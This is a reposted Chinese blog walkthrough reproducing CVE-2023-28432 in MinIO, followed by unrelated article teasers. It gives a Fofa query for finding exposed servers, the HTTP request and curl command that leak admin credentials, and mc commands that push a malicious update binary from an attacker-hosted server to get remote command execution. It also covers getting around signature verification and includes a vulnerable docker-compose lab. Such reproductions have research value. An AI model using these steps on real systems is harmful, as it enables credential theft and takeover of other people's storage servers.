CVE-2023-28432 MiniO信息泄露漏洞复现

news2024/11/26 16:43:40

在这里插入图片描述

CVE-2023-28432 MiniO信息泄露漏洞

MiniO 是一个基于 Apache License v2.0 开源协议的对象存储服务。它兼容亚马逊 S3 云存储服务接口,非常适合于存储大容量非结构化的数据,例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等

在集群部署的 Minio 中,未授权的攻击者可发送恶意的 HTTP 请求来获取 Minio 环境变量中的敏感信息(MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD),可能导致攻击者以管理员权限登录 Minio,分布式部署的所有用户都会受到影响,单机用户没有影响

Fofa:title="MinIO Browser" || banner="MinIO" || header="MinIO"

影响版本:RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z,browser 登陆页面如下

截屏2023-03-25 16.21.53

POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 192.168.69.81:9000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
curl -XPOST http://192.168.186.148:9003/minio/bootstrap/v1/verify

截屏2023-03-25 16.17.28

从信息泄漏到RCE复现

MinIO 提供了一个非常方便的功能,可以通过 mc「MinIO客户端」进行服务器管理,通过第一步获取到管理员账号密码之后使用 mc 进行服务器升级,原理可以看这篇文章:MinIO从信息泄漏到RCE复现

首先通过 mc 连接远程的 MinIO 服务器

linux 安装 mc 命令
wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x ./mc

连接命令
./mc alias set myminio http://192.168.31.8:9000 minioadmin miniopassword

截屏2023-03-28 11.56.32

在执行升级命令后,默认会从官方服务器下载最新版进行升级,关键在于升级地址是可以自定义的,企业如果是内网环境可以指定自己的更新地址以便于升级

整个更新流程:验证管理员权限→获取最新版本→获取最新版本的 sha256sum 信息→下载并验证 sha256sum →验证无误后替换自身并重启,虽然sha256 我们不可控,但是用于验证的 sha256sum 文件是我们可控的,跟进相关代码可以发现,envMinisignPubKe 默认为空,导致签名校验失效,所以我们可以构造恶意升级包,最终形成RCE

恶意升级包下载地址:https://github.com/AbelChe/evil_minio,使用以下命令去生成升级所需文件,下载包会比较多需要一个良好的网络环境

evil_minio-main % CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath && mv minio minio.RELEASE.2023-03-22T06-36-24Z && shasum -a 256 minio.RELEASE.2023-03-22T06-36-24Z > minio.RELEASE.2023-03-22T06-36-24Z.sha256sum

在生成文件目录下使用 python 启动一个简易 http 服务器,确保可以远程访问

python3 -m http.server

使用以下命令去升级 minio

mc admin update myminio http://192.168.186.1:8000/minio.RELEASE.2023-03-22T06-36-24Z.sha256sum -y

截屏2023-03-28 17.11.56

升级过程中会去访问 web 服务下载升级包,可以看到访问了两次,第一次访问 sum 文件,第二次访问升级文件

截屏2023-03-28 17.11.17

构造恶意的更新指令后提示正常更新,并且执行了我们提供的恶意程序,但是替换了恶意程序之后,原本的MinIO服务会中断,所以想要无损利用需要考虑基于源程序进行魔改,并且这个漏洞的利用与部署方式无关,只要获取到了管理员账号密码就能实现恶意升级

升级成功后可以执行任意命令

截屏2023-03-28 17.22.37

可能会遇到的问题

  1. [not our bug] Unexpected client ‘admin’ API version found ‘v3’, expected ‘v2’, please downgrade the client to older releases

    minio 版本太低无法,mc 版本太高

  2. 使用 mc update升级过程中提示「缺失minisig文件」

    截屏2023-03-28 17.10.35

    原因:docker启动的环境,docker环境在默认情况下存在MINIO_UPDATE_MINISIGN_PUBKEY 环境变量

    解决方法:docker环境在默认情况下是无法RCE的,需要清除这个环境变量,比如在docker-compose.yml中加入

      environment:
        MINIO_UPDATE_MINISIGN_PUBKEY: 
    

    在没有该值的漏洞版本的情况下,可以绕过完整性检查,也就不会请求.minisig文件

参考

  • CVE-2023-28432 Minio信息泄露导致RCE
  • MinIO从信息泄漏到RCE复现

docker-compose

version: '3.7'

# starts 4 docker containers running minio server instances. Each
# minio server's web interface will be accessible on the host at port
# 9001 through 9004.
services:
  minio1:
    image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio1
    volumes:
      - data1-1:/data1
      - data1-2:/data2
    ports:
      - "9001:9000"
    environment:
      MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:
    command: server http://minio{1...4}/data{1...2}
    volumes:
      - /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged: true
    restart: always
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

  minio2:
    image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio2
    volumes:
      - data2-1:/data1
      - data2-2:/data2
    ports:
      - "9002:9000"
    environment:
      MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:
    command: server http://minio{1...4}/data{1...2}
    volumes:
      - /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged: true
    restart: always
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

  minio3:
    image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio3
    volumes:
      - data3-1:/data1
      - data3-2:/data2
    ports:
      - "9003:9000"
    environment:
      MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:
    volumes:
      - /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged: true
    restart: always
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3    

  minio4:
    image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio4
    volumes:
      - data4-1:/data1
      - data4-2:/data2
    ports:
      - "9004:9000"
    environment:
      MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:
    command: server http://minio{1...4}/data{1...2}
    volumes:
      - /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged: true
    restart: always
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
  data1-1:
  data1-2:
  data2-1:
  data2-2:
  data3-1:
  data3-2:
  data4-1:
  data4-2:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/471528.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机网络学习05(HTTP vs HTTPS)

1、HTTP 协议介绍 HTTP 协议&#xff0c;全称超文本传输协议&#xff08;Hypertext Transfer Protocol&#xff09;。顾名思义&#xff0c;HTTP 协议就是用来规范超文本的传输&#xff0c;超文本&#xff0c;也就是网络上的包括文本在内的各式各样的消息&#xff0c;具体来说&…

【干货分享】一文说透分布式一致性协议(上)

本文首发自「慕课网」&#xff0c;想了解更多IT干货内容&#xff0c;程序员圈内热闻&#xff0c;欢迎关注"慕课网"&#xff01; 作者&#xff1a;大熊老师 | 慕课网讲师 在常见的分布式系统中&#xff0c;总会发生诸如机器宕机或网络异常&#xff08;包括消息的延迟…

ChatGPT实现多语种翻译

语言翻译 多语种翻译是 NLP 领域的经典话题&#xff0c;也是过去很多 AI 研究的热门领域。一般来说&#xff0c;我们认为主流语种的互译一定程度上属于传统 AI 已经能较好完成的任务。比如谷歌翻译所采用的的神经机器翻译(NMT, Neural Machine Translation)技术就一度让世人惊…

【JavaEE进阶】——第四节.Spring更简单的实现Bean对象的存取(利用注解储存和注入Bean对象)

作者简介&#xff1a;大家好&#xff0c;我是未央&#xff1b; 博客首页&#xff1a;未央.303 系列专栏&#xff1a;JavaEE进阶 每日一句&#xff1a;人的一生&#xff0c;可以有所作为的时机只有一次&#xff0c;那就是现在&#xff01;&#xff01;&#xff01; 文章目录 前…

Linux安装flutter

在Linux上安装flutter 1.使用快照安装flutter 安装snapd sudo apt update sudo apt install snapd安装flutter sudo snap install flutter --classic显示flutter sdk-path flutter sdk-path2.手动安装flutter 在flutter官网上查看安装流程 https://docs.flutter.dev/get…

现代微服务中缓存的分类及缓存一致性设计原则

引言 大部分面向公众的互联网系统&#xff0c;其并发请求数量与在线用户数量都是正相关的&#xff0c;而 MySQL能够承担的并发读写量是有一定上限的&#xff0c;当系统的访问量超过一定程度的时候&#xff0c;纯MySQL就很难应付了。 绝大多数互联网系统都是采用MySQLRedis这对…

MongoDB【索引-index】

目录 1&#xff1a;概述 2&#xff1a;索引的类型 2.1&#xff1a;单字段索引 2.2&#xff1a;复合索引 2.3&#xff1a;其他索引 3&#xff1a;索引的管理操作 3.1&#xff1a;索引的查看 3.2&#xff1a;索引的创建 3.3&#xff1a;索引的移除 4&#xff1a;索引的…

【福利赠书】有人说,测试驱动开发已死?(文末赠书3本)

友情推荐一本测试领域的教科书&#xff1a;&#xff08;文末送3本&#xff09; 《 测试驱动开发&#xff1a;入门、实战与进阶》&#xff0c;英文原书名为《Learning Test-Driven Development 》&#xff0c;是一本实用且有趣的TDD实践教程。如果你想开始做测试驱动开发&#x…

【WPF动画】简单构造一个相册轮播图淡化切换特效

效果图 简单的定时器结合DoubleAnimation使用示例&#xff0c;实现轮播图淡化切入特效 代码部分 <Image x:Name"carouselImage" Margin"10" HorizontalAlignment"Center" VerticalAlignment"Center" Stretch"UniformToFill&…

倾斜摄影超大场景的三维模型的顶层合并的纹理压缩与抽稀处理技术分析

倾斜摄影超大场景的三维模型的顶层合并的纹理压缩与抽稀处理技术分析 倾斜摄影超大场景的三维模型的顶层合并需要对纹理进行压缩和抽稀处理&#xff0c;以减小数据量和提高数据的传输和展示性能。以下是一种常用的纹理压缩和抽稀处理技术&#xff1a; 1、纹理图集 纹理瓦片化…

网络安全漏洞分析之远程代码执行

介绍 Apache Flume 是一个分布式的&#xff0c;可靠的&#xff0c;并且可用于高效地收集&#xff0c;汇总和移动大量日志数据的软件。它具有基于流数据流的简单而灵活的体系结构。它具有可调的可靠性机制以及许多故障转移和恢复机制&#xff0c;并且具有健壮性和容错性。它使用…

国民技术N32G430开发笔记(9)- IAP升级 Bootloader的制作

IAP升级 Bootloader的制作 1、上节提到Flash的分区&#xff0c;0x8000000-0x8004000为Boot分区&#xff0c;我们的bootloader就烧录到此分区。 Bootloader很简单&#xff0c;新建一个普通的工程&#xff0c; 也不用初始化外部设备&#xff0c;开机后&#xff0c;直接跳转到 A…

【方法】 如何批量将RAR或其他压缩格式转换成ZIP?

压缩文件的格式有很多种&#xff0c;比如RAR、ZIP、7-Zip、CAB、ARJ、ACE、TAR、BZ2等等。因为需求不同&#xff0c;或者不同平台对上传的压缩包格式要求不同&#xff0c;我们往往需要把压缩文件进行格式转换&#xff0c;那压缩文件不同格式之间如何进行转换呢&#xff1f; 如…

AlgoC++第八课:手写BP

目录 手写BP前言1. 数据加载2. 前向传播3. 反向传播总结 手写BP 前言 手写AI推出的全新面向AI算法的C课程 Algo C&#xff0c;链接。记录下个人学习笔记&#xff0c;仅供自己参考。 本次课程主要是手写 BP 代码 课程大纲可看下面的思维导图 1. 数据加载 我们首先来实现下MNIST…

15-721 Chapter10 恢复协议

BackGround 为了在可能crash的情况下&#xff0c;确保事务和数据库状态的&#xff0c;一致性&#xff0c;原子性&#xff0c;持久性。恢复算法大体可以分为两个方面&#xff1a;1.在事务过程中要做哪些处理 2.崩溃后要做哪些处理。 与disk数据库的差异 1.恢复不需要跟踪dir…

独立IP服务器和共享IP服务器有什么区别

在选择一个合适的服务器时&#xff0c;最常见的选择是共享IP服务器和独立IP服务器。尽管两者看起来很相似&#xff0c;但它们有着很大的不同。本文将详细介绍共享IP服务器和独立IP服务器的不同之处&#xff0c;以及如何选择适合您需求的服务器。 一、什么是共享IP服务器? 共享…

PHPStudy hosts文件可能不存在或被阻止打开,同步hosts失败

在使用PHPStudy建站包时&#xff0c;有时会遇到同步hosts失败的问题&#xff0c;可能是因为hosts文件不存在或被阻止打开。这个问题通常可以通过以下几个步骤解决&#xff1a; 步骤一&#xff1a;检查hosts文件是否存在 首先&#xff0c;我们需要检查一下hosts文件是否存在。…

【漏洞复现】海康威视综合安防管理平台Fastjson远程命令执行漏洞复现

文章目录 前言声明一、海康威视综合安防管理平台简介二、漏洞描述三、影响版本四、漏洞复现五、修复方案 前言 ​海康威视综合安防管理平台存在Fastjson远程命令执行漏洞&#xff0c;攻击者可通过构造恶意Payload执行并获取服务器系统权限以及敏感数据信息。 声明 本篇文章仅…

计算机网络学习07(DNS域名系统详解)

DNS&#xff08;Domain Name System&#xff09;域名管理系统&#xff0c;是当用户使用浏览器访问网址之后&#xff0c;使用的第一个重要协议。DNS 要解决的是域名和 IP 地址的映射问题。 在实际使用中&#xff0c;有一种情况下&#xff0c;浏览器是可以不必动用 DNS 就可以获知…

【Java】SpringBoot中实现多数据源切换

前言 在日常项目开发中&#xff0c;某些需求会让不同的数据落实到不同的数据库&#xff0c;也或许是不同的页面需要不同数据库中的数据&#xff0c;在这种场景下&#xff0c;我们可以使用多数据源的配置来完成&#xff0c;通过在springboot中的yml文件配置多个数据源方式即可完…